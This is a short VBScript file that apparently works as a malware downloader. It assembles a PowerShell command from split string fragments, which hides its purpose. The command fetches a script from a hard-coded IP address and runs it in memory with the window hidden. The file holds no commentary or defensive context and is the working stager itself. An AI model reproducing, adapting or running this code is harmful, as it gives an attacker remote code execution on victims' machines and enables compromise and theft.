Set objShell = CreateObject("WScript.Shell")
part1 = "powershell"
part2 = "-Command"
part3 = "$w = New-Object Net.WebClient;"
part4 = "$s = $w.DownloadString("
part5 = "'http://185.39.17.70/zgrnf/pik.ps1'"
part6 = ");"
part7 = "[ScriptBlock]::Create($s).Invoke()"
cmd = part1 & " " & part2 & " """ & part3 & part4 & part5 & part6 & part7 & """"
objShell.Run cmd, 0, True